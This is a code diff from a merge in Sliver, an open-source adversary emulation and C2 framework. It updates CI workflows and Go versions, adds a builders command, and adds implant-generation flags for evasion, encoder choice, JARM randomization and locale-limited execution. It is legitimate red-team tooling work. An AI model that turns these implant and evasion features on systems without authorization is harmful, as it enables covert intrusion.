Fix website content table

Merge pull request #986 from BishopFox/feature/runas-password
Revamped `runas` command
2026-11-07 17:08:13 -10:00 · 2022-11-03 08:40:23 -07:00 · 2022-11-02 21:57:06 -05:00 · 2022-11-02 21:56:44 -05:00 · 2022-11-02 18:22:18 -07:00 · 2022-11-02 17:46:38 -07:00
2591 changed files with 1630298 additions and 1162839 deletions
@@ -5,4 +5,4 @@ queries:
    uses: security-extended
    paths:
      - server
-      - implant
+      - client
@@ -3,60 +3,58 @@ name: Release
 on:
  push:
    tags: ["v[1-9]+.[0-9]+.[0-9]+"]
-    branches: [master, goreleaser]
+    branches: [master]

 jobs:
-
  linux-windows-build:
    name: Linux & Windows Build
    if: startsWith( github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
    timeout-minutes: 45
    steps:
+      - name: Go 1.19
+        uses: actions/setup-go@v3
+        with:
+          go-version: "^1.19"

-    - name: Go 1.18
-      uses: actions/setup-go@v3
-      with:
-        go-version: '1.18.6'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib

-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v3
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3

-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f

-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh

-    - name: Make
-      env:
-        ARTIFACT_SUFFIX: _linux
-      run: export PATH=/home/runner/go/bin/:$PATH && make linux
-  
-    - name: Linux Artifacts
-      uses: actions/upload-artifact@v3
-      with:
-        name: linux
-        path: ./sliver-*
+      - name: Make
+        env:
+          ARTIFACT_SUFFIX: _linux
+        run: export PATH=/home/runner/go/bin/:$PATH && make linux

-    - name: Make Windows
-      env: 
-        ARTIFACT_SUFFIX: _windows
-      run: |
-        make clean
-        export PATH=/home/runner/go/bin/:$PATH && make windows
+      - name: Linux Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: linux
+          path: ./sliver-*

-    - name: Windows Artifacts
-      uses: actions/upload-artifact@v3
-      with:
-        name: windows
-        path:  ./sliver-*
+      - name: Make Windows
+        env:
+          ARTIFACT_SUFFIX: _windows
+        run: |
+          make clean
+          export PATH=/home/runner/go/bin/:$PATH && make windows
+
+      - name: Windows Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: windows
+          path: ./sliver-*

  macos-build:
    name: MacOS Build
@@ -64,42 +62,40 @@ jobs:
    runs-on: macos-latest
    timeout-minutes: 45
    steps:
+      - name: Go 1.19
+        uses: actions/setup-go@v3
+        with:
+          go-version: "1.19.1"

-    - name: Go 1.18
-      uses: actions/setup-go@v3
-      with:
-        go-version: '1.18.6'
+      - name: Mingw
+        run: brew install mingw-w64

-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3

-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v3
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f

-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh

-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make AMD64
+        env:
+          ARTIFACT_SUFFIX: _macos
+        run: make macos

-    - name: Make AMD64
-      env: 
-        ARTIFACT_SUFFIX: _macos
-      run: make macos
+      - name: Make ARM64
+        env:
+          ARTIFACT_SUFFIX: _macos-arm64
+        run: make macos-arm64

-    - name: Make ARM64
-      env: 
-        ARTIFACT_SUFFIX: _macos-arm64
-      run: make macos-arm64
-
-    - name: MacOS Artifacts
-      uses: actions/upload-artifact@v3
-      with:
-        name: macos
-        path: ./sliver-*
+      - name: MacOS Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: macos
+          path: ./sliver-*

  tagged-release:
-
    needs: [linux-windows-build, macos-build]

    name: "Tagged Release"
@@ -108,53 +104,52 @@ jobs:
    timeout-minutes: 45

    steps:
-  
-    - run: mkdir -p ./builds
-    - uses: actions/download-artifact@v3
-      with:
-        path: ./builds
+      - run: mkdir -p ./builds
+      - uses: actions/download-artifact@v3
+        with:
+          path: ./builds

-    - name: Extract Artifacts
-      run: |
-        mkdir -p ./artifacts
-        cp ./builds/linux/* ./artifacts
-        cp ./builds/windows/* ./artifacts
-        cp ./builds/macos/* ./artifacts
+      - name: Extract Artifacts
+        run: |
+          mkdir -p ./artifacts
+          cp ./builds/linux/* ./artifacts
+          cp ./builds/windows/* ./artifacts
+          cp ./builds/macos/* ./artifacts

-    - id: install-secret-key
-      name: GPG Key(s)
-      run: |
-        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
-        gpg --list-secret-keys --keyid-format LONG
+      - id: install-secret-key
+        name: GPG Key(s)
+        run: |
+          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+          gpg --list-secret-keys --keyid-format LONG

-    # Linux
-    - name: Linux AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
-    
-    # Windows
-    - name: Windows AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+      # Linux
+      - name: Linux AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux

-    # MacOS AMD64
-    - name: MacOS AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
-  
-    # MacOS ARM64
-    - name: Package MacOS ARM64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
-  
-    - name: "Publish Release"
-      uses: "marvinpinto/action-automatic-releases@latest"
-      with:
-        repo_token: "${{ secrets.GITHUB_TOKEN }}"
-        prerelease: true
-        files: |
-          ./artifacts/*
+      # Windows
+      - name: Windows AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+
+      # MacOS AMD64
+      - name: MacOS AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+
+      # MacOS ARM64
+      - name: Package MacOS ARM64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+
+      - name: "Publish Release"
+        uses: "marvinpinto/action-automatic-releases@latest"
+        with:
+          repo_token: "${{ secrets.GITHUB_TOKEN }}"
+          prerelease: true
+          files: |
+            ./artifacts/*
@@ -4,23 +4,22 @@ on:
  push:
    branches:
      - test/*
-  # pull_request:
-  #   branches:
-  #     - master
+  pull_request:
+    branches:
+      - master

 jobs:
  CodeQL-Build:
    name: CodeQL Security Scan
-    # CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
    runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90

    steps:
      # Setup go environment
-      - name: Go 1.18
+      - name: Go 1.19
        uses: actions/setup-go@v3
        with:
-          go-version: "1.18.6"
+          go-version: "^1.19"

      - name: Checkout repository
        uses: actions/checkout@v3
@@ -37,23 +36,6 @@ jobs:
          git build-essential zlib1g zlib1g-dev wget zip unzip \
          mingw-w64 binutils-mingw-w64 g++-mingw-w64

-      - name: Protoc
-        env:
-          PROTOC_VER: 3.11.4
-        run: |
-          wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
-
-      - name: Protoc-gen-go
-        env:
-          PROTOC_GEN_GO_VER: 1.3.5
-        run: |
-          wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-          && tar xvf protoc-gen-go.tar.gz \
-          && cd protobuf-${PROTOC_GEN_GO_VER} \
-          && make install
-
      - name: Check out code into the Go module directory
        uses: actions/checkout@v3

@@ -1,8 +1,5 @@
 name: Build & Test
 on:
-  push:
-    branches: 
-      - test/*
  pull_request:
    branches:
      - master
@@ -13,70 +10,67 @@ on:
      - ready_for_review

 jobs:
-
  linux-windows-build:
    name: Linux & Windows Build
    runs-on: ubuntu-latest
    timeout-minutes: 90
    steps:
+      - name: Go 1.19
+        uses: actions/setup-go@v3
+        with:
+          go-version: "^1.19"

-    - name: Go 1.18
-      uses: actions/setup-go@v3
-      with:
-        go-version: '1.18.6'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib

-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v3
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3

-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f

-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh

-    - name: Make
-      run: make linux
+      - name: Make
+        run: make linux

-    - name: Test
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        run: ./sliver-server unpack --force && ./go-tests.sh
+
+      - name: Make Windows
+        run: make windows

-    - name: Make Windows
-      run: make windows
-  
  macos-build:
    name: MacOS Build
    runs-on: macos-latest
    timeout-minutes: 90
    steps:
+      - name: Go 1.19
+        uses: actions/setup-go@v3
+        with:
+          go-version: "^1.19"

-    - name: Go 1.18
-      uses: actions/setup-go@v3
-      with:
-        go-version: '1.18.6'
+      - name: Mingw
+        run: brew install mingw-w64

-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3

-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v3
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f

-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh

-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make
+        run: make macos

-    - name: Make
-      run: make macos
-
-    - name: Test
-      env:
-        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
-        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        env:
+          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+        run: ./sliver-server unpack --force && ./go-tests.sh
@@ -1,4 +1,4 @@
-FROM golang:1.18.6
+FROM golang:1.19.3

 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -52,11 +52,10 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}

 # Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
-ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
-RUN ./go-assets.sh
-
-# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
+RUN make clean-all \
+    && ./go-assets.sh
+
 RUN make \
    && cp -vv sliver-server /opt/sliver-server \
    && /opt/sliver-server unpack --force 
@@ -99,6 +99,12 @@ ifeq ($(MAKECMDGOALS), linux)
 		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif

+ifeq ($(MAKECMDGOALS), linux-arm64)
+	# Redefine TAGS/ENV to use pure go sqlite3
+	TAGS = -tags osusergo,netgo,gosqlite
+	ENV = CGO_ENABLED=0
+endif
+
 #
 # Targets
 #
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,

 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).

-![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
+[![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)

 ### Features

@@ -22,7 +22,6 @@ import (
 	"context"
 	"encoding/json"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path"
 	"path/filepath"
@@ -142,7 +141,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	}

 	// parse it
-	data, err := ioutil.ReadFile(manifestPath)
+	data, err := os.ReadFile(manifestPath)
 	if err != nil {
 		return nil, err
 	}
@@ -303,7 +302,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
 		isDLL = true
 	}
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -311,7 +310,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
 		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
-		outFilePath, err = ioutil.TempFile("", outFile)
+		outFilePath, err = os.CreateTemp("", outFile)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -109,7 +109,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex

 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	if con.Settings.SmallTermWidth < width {
+	wideTermWidth := con.Settings.SmallTermWidth < width
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -119,6 +120,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"Hostname",
 			"Username",
 			"Operating System",
+			"Locale",
 			"Last Check-in",
 			"Next Check-in",
 		})
@@ -141,42 +143,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			color = console.Green
 		}

-		nextCheckin := time.Unix(beacon.NextCheckin, 0)
-		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
-
-		var next string
-		var interval string
-
-		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
-
-			} else {
-				interval = time.Since(nextCheckin).Round(time.Second).String()
-			}
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
-		} else {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
-			} else {
-				interval = time.Until(nextCheckin).Round(time.Second).String()
-			}
-
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
-		}
-
 		// We need a slice of strings so we can apply filters
 		var rowEntries []string

-		/*
-			Round the duration to the nearest second to be more output friendly.
-			We deal in seconds for everything, so it makes sense to show outputs
-			in seconds to remain consistent.
-		*/
-		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
-		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
-
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -186,8 +156,9 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
-				next,
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		} else {
 			rowEntries = []string{
@@ -196,8 +167,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
-				next,
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		}
 		// Build the row struct
@@ -0,0 +1,71 @@
+package builders
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// BuildersCmd - List external builders
+func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	if len(builders.Builders) == 0 {
+		con.PrintInfof("No external builders connected to server\n")
+	} else {
+		PrintBuilders(builders.Builders, con)
+	}
+}
+
+func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name", "Operator", "Templates", "Platform", "Compiler Targets",
+	})
+	for _, builder := range externalBuilders {
+
+		targets := []string{}
+		for _, target := range builder.Targets {
+			targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
+		}
+
+		row := table.Row{
+			builder.Name,
+			builder.OperatorName,
+			strings.Join(builder.Templates, ", "),
+			fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
+			strings.Join(targets, "\n"),
+		}
+		tw.AppendRow(table.Row(row))
+	}
+	con.Printf("%s\n", tw.Render())
+}
@@ -23,7 +23,7 @@ package command

 	Guidelines when adding a command:

-		* Try to reuse the same short/long flags for the same paramenter,
+		* Try to reuse the same short/long flags for the same parameter,
 		  e.g. "timeout" flags should always be -t and --timeout when possible.
 		  Try to avoid creating flags that conflict with others even if you're
 		  not using the flag, e.g. avoid using -t even if your command doesn't
@@ -41,6 +41,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/armory"
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/beacons"
+	"github.com/bishopfox/sliver/client/command/builders"
 	"github.com/bishopfox/sliver/client/command/completers"
 	"github.com/bishopfox/sliver/client/command/cursed"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
@@ -66,6 +67,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/reaction"
 	"github.com/bishopfox/sliver/client/command/reconfig"
 	"github.com/bishopfox/sliver/client/command/registry"
+	"github.com/bishopfox/sliver/client/command/rportfwd"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -456,6 +458,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "PEM encoded certificate file")
 			f.String("k", "key", "", "PEM encoded private key file")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
+			f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -482,6 +485,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
 			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
 			f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
+			f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -517,7 +521,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Reconfigure the active beacon/session",
 		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "change implant name to")
 			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
 			f.String("i", "beacon-interval", "", "beacon callback interval")
 			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -900,6 +903,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Args: func(a *grumble.Args) {
 			a.String("session", "session ID", grumble.Default(""))
 		},
+		Completer: func(prefix string, args []string) []string {
+			return use.BeaconAndSessionIDCompleter(prefix, args, con)
+		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			info.InfoCmd(ctx, con)
@@ -1203,6 +1209,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			a.Uint("pid", "pid")
 		},
 		Flags: func(f *grumble.Flags) {
+			f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
+
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -1292,6 +1300,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("P", "password", "", "SSH user password")
 			f.String("l", "login", "", "username to use to connect")
 			f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
+			f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
+			f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
+			f.String("r", "kerberos-realm", "", "Kerberos realm")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1313,8 +1324,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.Bool("e", "evasion", false, "enable evasion features")
+			f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+			f.String("I", "template", "sliver", "implant code template")
+			f.Bool("E", "external-builder", false, "use an external builder")

 			f.String("c", "canary", "", "canary domain(s)")

@@ -1340,6 +1353,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")

 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1370,8 +1384,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.Bool("e", "evasion", false, "enable evasion features")
+			f.Bool("e", "evasion", false, "enable evasion features  (e.g. overwrite user space hooks)")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+			f.String("I", "template", "sliver", "implant code template")
+			f.Bool("E", "external-builder", false, "use an external builder")

 			f.String("c", "canary", "", "canary domain(s)")

@@ -1397,6 +1413,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")

 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1540,6 +1557,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")

+			f.String("I", "template", "sliver", "implant code template")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1549,6 +1568,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")

 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")

@@ -1603,6 +1623,8 @@ func BindCommands(con *console.SliverConsoleClient) {

 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")

+			f.String("I", "template", "sliver", "implant code template")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1612,6 +1634,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")

 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")

@@ -1960,6 +1983,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "print-cmdline", false, "print command line arguments")
 			f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
 			f.Int("S", "skip-pages", 0, "skip the first n page(s)")
+			f.Bool("T", "tree", false, "print process tree")

